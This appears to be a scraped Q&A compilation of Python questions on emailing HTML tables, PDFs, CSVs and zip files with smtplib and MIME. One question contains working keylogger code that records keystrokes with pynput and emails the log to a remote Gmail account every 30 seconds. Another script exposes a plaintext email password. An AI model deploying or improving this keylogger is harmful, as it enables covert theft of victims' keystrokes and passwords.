Sending multiple HTML Tables in email - python

I have 3 HTML Tables from three .html files that I need to email using Python one below the other.
Currently only 1 table is getting attached. How to attach all 3?
#!/usr/bin/python
import time
import os,sys
from os import path
import re
import sys, ast
import subprocess
# Import smtplib for the actual sending function
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from subprocess import Popen, PIPE
msg = MIMEMultipart('alternative')
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
html = open('/root/madhu_test/bpstest/results/outnss.html')
htmla = open('/root/madhu_test/bpstest/results/outs2c.html')
htmlb = open('/root/madhu_test/bpstest/results/outrecommended.html')
html = html.read()
htmla = htmla.read()
htmlb = htmlb.read()
part2 = MIMEText(html, 'html')
part3 = MIMEText(htmla, 'html')
part4 = MIMEText(htmlb, 'html')
msg.attach(part2)
msg.attach(part3)
msg.attach(part4)
msg["From"] = "sauravb#juniper.net"
msg["To"] = "sauravb#juniper.net"
msg["Subject"] = "Sanity performance report"
p = Popen(["/usr/sbin/sendmail", "-t", "-oi"], stdin=PIPE)
p.communicate(msg.as_string())

I had the same requirement. I used a single variable called "report" that contains all the html code in it. So I keep adding any number of tables to report varaible
report = ""
report += table1data
report += "<br><br>"
report += table2data
.
.
Finally attach this variable as the email text.
This worked for me.

A better solution might be to change MIMEMultipart('alternative') to MIMEMultipart('mixed')
This way it appends each attachment as opposed to choosing the best match for the email client.

Related

Importing variable in another python files doesn't work(may circular importing error)

I was making some keylogging code for my first security project.
I have 2 python code file named as mainKeylogger.py(capture key log)and mailFunc.py(send mail with keylogging file automatically) under the same directory. When I executed mailFunc.py, there was an error that..
AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)
Do you know why error occurs and how to fix it?
I searched information about "circular import", Maybe it's because I'm not good enough yet about programming, so I didn't understand well.
I need your help.
All the 2 codes I wrote are below.
mainKeylogger.py
from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime
import mailFunc
import threading
if os.path.isdir('C:\\Keylogging') == False:
os.mkdir('C:\\Keylogging')
log_dir = ''
now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')
logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\"+ currentTime +"Key.txt"),
level=logging.DEBUG, format='["%(asctime)s". %(message)s]')
keylogFileName = "C:\\Keylogging\\Key_" + currentTime + ".txt"
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press = on_press) as listener:
listener.join()
mailFunc.autoEmailSend(keylogFileName)
mailFunc.py
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import schedule
import threading
import mainKeylogger
def autoEmailSend(filenametosend):
#erased because it is my private information
email_user = '(erase)'
email_password = '(erase)'
email_send = '(erase)'
subject = 'Keylogging Automatic Report'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Keylogging Report at ' + time.strftime('%c', time.localtime(time.time()))
msg.attach(MIMEText(body,'plain'))
filename = filenametosend
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))
threading.Timer(30.0, autoEmailSend).start()
autoEmailSend(mainKeylogger.keylogFileName)
I don't have much experience in this field yet and I'm learning English, so I might not be able to explain the problem well (as English). I ask for your understanding.
when you import the file, you can use its vars directly
autoEmailSend(keylogFileName)

Send the contents from unmodified print statement by e-mail in python

I have a script that runs main() and at the end I want to send the contents it has by e-mail. I don't want to write new files nor anything. Just have the original script be unmodified and at the end just send the contents of what it printed. Ideal code:
main()
send_mail()
I tried this:
def main():
print('HELLOWORLD')
def send_email(subject='subject', message='', destination='me#gmail.com', password_path=None):
from socket import gethostname
from email.message import EmailMessage
import smtplib
import json
import sys
server = smtplib.SMTP('smtp.gmail.com', 587)
smtplib.stdout = sys.stdout # <<<<<-------- why doesn't it work?
server.starttls()
with open(password_path) as f:
config = json.load(f)
server.login('me#gmail.com', config['password'])
# craft message
msg = EmailMessage()
#msg.set_content(message)
msg['Subject'] = subject
msg['From'] = 'me#gmail.com'
msg['To'] = destination
# send msg
server.send_message(msg)
if __name__ == '__main__':
main()
send_mail()
but it doesn't work.
I don't want to write other files or change the original python print statements. How to do this?
I tried this:
def get_stdout():
import sys
print('a')
print('b')
print('c')
repr(sys.stdout)
contents = ""
#with open('some_file.txt') as f:
#with open(sys.stdout) as f:
for line in sys.stdout.readlines():
contents += line
print(contents)
but it does not let me read sys.stdout because it says its not readable. How can I open it in readable or change it to readable in the first place?
I checked all of the following links but none helped:
How to send output from a python script to an email address
https://www.quora.com/How-can-I-send-an-output-from-a-Python-script-to-an-email-address
https://bytes.com/topic/python/answers/165835-email-module-redirecting-stdout
Redirect stdout to a file in Python?
How to handle both `with open(...)` and `sys.stdout` nicely?
Capture stdout from a script?
To send e-mails I am using:
def send_email(subject, message, destination, password_path=None):
from socket import gethostname
from email.message import EmailMessage
import smtplib
import json
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
with open(password_path) as f:
config = json.load(f)
server.login('me123#gmail.com', config['password'])
# craft message
msg = EmailMessage()
message = f'{message}\nSend from Hostname: {gethostname()}'
msg.set_content(message)
msg['Subject'] = subject
msg['From'] = 'me123#gmail.com'
msg['To'] = destination
# send msg
server.send_message(msg)
note I have my password in a json file using an app password as suggested by this answer https://stackoverflow.com/a/60996409/3167448.
using this to collect the contents from stdout by writing it to a custom stdout file using the builtin function print:
import sys
from pathlib import Path
def my_print(*args, filepath='~/my_stdout.txt'):
filepath = Path(filepath).expanduser()
# do normal print
__builtins__['print'](*args, file=sys.__stdout__) #prints to terminal
# open my stdout file in update mode
with open(filepath, "a+") as f:
# save the content we are trying to print
__builtins__['print'](*args, file=f) #saves in a file
def collect_content_from_file(filepath):
filepath = Path(filepath).expanduser()
contents = ''
with open(filepath,'r') as f:
for line in f.readlines():
contents = contents + line
return contents
Note the a+ to be able to create the file if it already does NOT exist.
Note that if you want to delete the old contents of your custom my_stdout.txt you need to delete the file and check if it exists:
# remove my stdout if it exists
os.remove(Path('~/my_stdout.txt').expanduser()) if os.path.isfile(Path('~/my_stdout.txt').expanduser()) else None
The credits for the print code are from the answer here: How does one make an already opened file readable (e.g. sys.stdout)?

showing blank pdf attachment while sending multiple emails with relevant pdf attachment

I am newbie for python and had a task to send multiple email with relevant attachments. I will eloborate it , A folder contains multiple pdf files each file contains some text including email id.I need to read the email id from the each pdf file and send the same file as the attachment to the mailid in the pdf file. below is the code for reference
# Get the count of files in the folder
import os
import re
global str
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
cpt = sum([len(files) for r, d, files in
os.walk("D:\MyOfficeDocuments\ADCB\PythonScripts\PdfFiles")])
#Reading Mail from each pdf file and send the same file as attachment to
these mails
import PyPDF2
from os import listdir
from os.path import isfile, join
from PyPDF2 import PdfFileWriter, PdfFileReader
mypath='D:\MyOfficeDocuments\ADCB\PythonScripts\PdfFiles'
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]
for file in onlyfiles:
count = 1
while count <cpt:
os.chdir(r'D:\MyOfficeDocuments\ADCB\PythonScripts\PdfFiles')
pdfFileObj = open(file,'rb')
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
pageObj = pdfReader.getPage(0)
count +=1
text = pageObj.extractText()
email_user='madhugut82#gmail.com'
eline = re.findall('\S+#\S+.com', text)
email_send=eline
print(file)
password='harshi54537'
subject='Python !'
msg=MIMEMultipart()
msg['From']=email_user
msg['To']=', '.join(email_send)
#listalink = " ".join(listalink)
msg['Subject']=subject
#print (email_send)
body='Hi there, sending this email from python using python scripting'
msg.attach(MIMEText(body,'plain'))
filename
='D:\MyOfficeDocuments\ADCB\PythonScripts\Destination\Document.txt'
attachment=open(file,'rb')
#print(attachment)
part=MIMEBase('application','pdf')
part.set_payload(attachment.read())
part.add_header('Content-Disposition',"attachement; filename="+file)
msg.attach(part)
#email.encoders.encode_base64(part)
print('x')
text=msg.as_string()
#text=msg.encode("utf8")
#text=msg.as_string().encode('utf-8','ignore')
#text=msg.as_string().encode('ascii','ignore')
server=smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,password)
server.sendmail(email_user,email_send,text)
#server.sendmail(email_user,email_send,msg.encode("utf8"))
server.quit()
As per the above code I am getting an error message shown in below
msg = _fix_eols(msg).encode('ascii')
UnicodeEncodeError: 'ascii' codec can't encode characters in position 559-562: ordinal not in range(128)
But if I change the code as below for
text=ms.as_string().encode("UTF")
I am not getting any error but attachement is showing blank
Please suggest me where the exact issue is and what is the issue to getting blank pdf attachment.
I requesting you if there is any code suggestion then please suggest for pdf file only
Thanks in Advance
Madhu
Your problem is that you are using a simple MIMEBase for the (binary) pdf file. As MIMEBase is a parent class for various possible message type, it does not encode its payload, and your message contains raw 8 bits bytes.
Two possible fixes here:
just base64 encode the pdf file content:
...
from email.encoders import encode_base64
...
part=MIMEBase('application','pdf')
part.set_payload(attachment.read())
part.add_header('Content-Disposition',"attachement; filename="+file)
encode_base64(part)
msg.attach(part)
...
use the more specialized MIMEApplication which encodes everything by default:
...
from email.mime.application import MIMEApplication
...
part=MIMEApplication(attachment.read(),'pdf')
part.add_header('Content-Disposition',"attachement; filename="+file)
msg.attach(part)
...
I advise you to use that second way, because the documentation for MIMEBase says:
Ordinarily you won’t create instances specifically of MIMEBase, although you could. MIMEBase is provided primarily as a convenient base class for more specific MIME-aware subclasses.

Django: CSV in email attachment including Unicode characters results in extra linebreak

I have a reporting feature on my site that send CSV attached file by email. I recently noticed that if one of the string included an accent character my attached CSV has extra line break. Strange thing is I don't see any of these extra linebreak if the string doesn't contain any accent.
Code looks a bit like this:
# -*- coding: utf8 -*-
import unicodecsv
from StringIO import StringIO
from django.core.mail import EmailMultiAlternatives
# Generating the CSV
csvfile = StringIO()
writer = unicodecsv.writer(csvfile, encoding='utf-8')
writer.writerow([u'Test', u'Linebreak è'])
writer.writerow([u'Another', u'line'])
# Email
msg = EmailMultiAlternatives(
'csv report',
'Here is your attached report',
'email#from.com',
'email#to.com'
)
msg.attach('your_report.csv', csvfile.getvalue(), 'text/csv')
msg.send()
Opening the file with VIM shows me something like that:
Test,Linebreak è^M
Another,line
In comparison if the CSV rows include :
writer.writerow([u'Test', u'Linebreak'])
writer.writerow([u'Another', u'line'])
The attached CSV will look like that:
Test,Linebreak
Another,line
The getvalue() seems to output the right EOL formater but something seems to happen once the file is attached. Did someone else noticed similar issue?
(Runing Django 1.6 on python 2.7)
Edit: I have found the root of my problem. Turns out I'm using sendgrid for sending my emails, and for some reason their system is adding extra linebreak on my CSV when this one contains an accent...
As per commenter's request, I'll add a solution that involves Python's stamdard SMTP library instead of SendGrid.
As with OP's code, we use CSV data that is unicode. When it's time to prepare the message, we explictly add the data as UTF-8-encoded text attachment, and construct the message object like so:
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# Write CSV data ...
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = recipients
msg.preamble = subject + '\n'
# Message body
body = MIMEText(body, 'plain', 'utf-8')
# CSV data
csv = MIMEText(csvfile.getvalue(), 'csv', 'utf-8')
csv.add_header("Content-Disposition", "attachment",
filename=report_filename)
# Add body and attachment to message
msg.attach(body)
msg.attach(csv)
You can read more about MIMEText in the Python library documentation. I find that passing it unicode strings (as opposed to str/bytes) works as long as there is a properly delcared charset.
Also, I have to note that I'm not sure whether the the newline problem was simply solved by using MIMEText attachment, or because of encoding. It's possible that using MIMEText object as attachment in OP's code may solve the problem. I leave experimentation to you, though.
For those who use Sendgrid as an SMTP provider to send you emails and if you noticed a similar issue, I fixed my problem by not using SMTP but the Web API of Sendgrid (via https://github.com/elbuo8/sendgrid-django).
No more extra lines in my CSV reports now!

How to send a zip file as an attachment in python?

I have looked through many tutorials, as well as other question here on stack overflow, and the documentation and explanation are at minimum, just unexplained code. I would like to send a file that I already have zipped, and send it as an attachment. I have tried copy and pasting the code provided, but its not working, hence I cannot fix the problem.
So what I am asking is if anyone knows who to explain how smtplib as well as email and MIME libraries work together to send a file, more specifically, how to do it with a zip file. Any help would be appreciated.
This is the code that everyone refers to:
import smtplib
import zipfile
import tempfile
from email import encoders
from email.message import Message
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
def send_file_zipped(the_file, recipients, sender='you#you.com'):
myzip = zipfile.ZipFile('file.zip', 'w')
# Create the message
themsg = MIMEMultipart()
themsg['Subject'] = 'File %s' % the_file
themsg['To'] = ', '.join(recipients)
themsg['From'] = sender
themsg.preamble = 'I am not using a MIME-aware mail reader.\n'
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment',
filename=the_file + '.zip')
themsg.attach(msg)
themsg = themsg.as_string()
# send the message
smtp = smtplib.SMTP()
smtp.connect()
smtp.sendmail(sender, recipients, themsg)
smtp.close()
I suspect the issue is this code zips a file as well. I don't want to zip anything as I already have a zipped file I would like to send. In either case, this code is poorly documented as well as the python libraries themselves as they provide no insight on anything past img file and text files.
UPDATE: Error I am getting now. I have also updated what is in my file with the code above
Traceback (most recent call last):
File "/Users/Zeroe/Documents/python_hw/cgi-bin/zip_it.py", line 100, in <module>
send_file_zipped('hw5.zip', 'avaldez#oswego.edu')
File "/Users/Zeroe/Documents/python_hw/cgi-bin/zip_it.py", line 32, in send_file_zipped
msg.set_payload(myzip.read())
TypeError: read() takes at least 2 arguments (1 given)
I don't really see the problem. Just omit the part which creates the zip file and, instead, just load the zip file you have.
Essentially, this part here
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment',
filename=the_file + '.zip')
themsg.attach(msg)
creates the attachment. The
msg.set_payload(zf.read())
sets, well, the payload of the attachment to what you read from the file zf (probably meaning zip file).
Just open your zip file beforehand and let this line read from it.
I agree the email package is not well documented yet. I investigated it before and wrote a wrapper module that simplifies these kinds of tasks. For example, the following works:
from pycopia import ezmail
# Get the data
data = open("/usr/lib64/python2.7/test/zipdir.zip").read()
# Make a proper mime message object.
zipattachement = ezmail.MIMEApplication.MIMEApplication(data, "zip",
filename="zipdir.zip")
# send it.
ezmail.ezmail(["Here is the zip file.", zipattachement],
To="me#mydomain.com", From="me#mydomain.com", subject="zip send test")
And that's all you need once you have everything installed and configured. :-)
My answer uses shutil to zip a directory containing the attachments and then adds the .zip to the email.
# Importing Dependencies
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import shutil
def Send_Email():
# Create a multipart message
msg = MIMEMultipart()
Body = MIMEText( {Enter Email Body as str here} )
# Add Headers
msg['Subject'] = ''
msg['From'] = ''
msg['To'] = ''
msg['CC'] = ''
msg['BCC'] = ''
# Add body to email
msg.attach(Body)
# Using Shutil to Zip a Directory
dir_name = {Add Path of the Directory to be Zipped}
output_filename = {Add Output Zip File Path}
shutil.make_archive(output_filename, 'zip', dir_name)
part = MIMEBase("application", "octet-stream")
part.set_payload(open(output_filename + ".zip", "rb").read())
encoders.encode_base64(part)
part.add_header("Content-Disposition", "attachment; filename=\"%s.zip\"" % (output_filename))
msg.attach(part)

Categories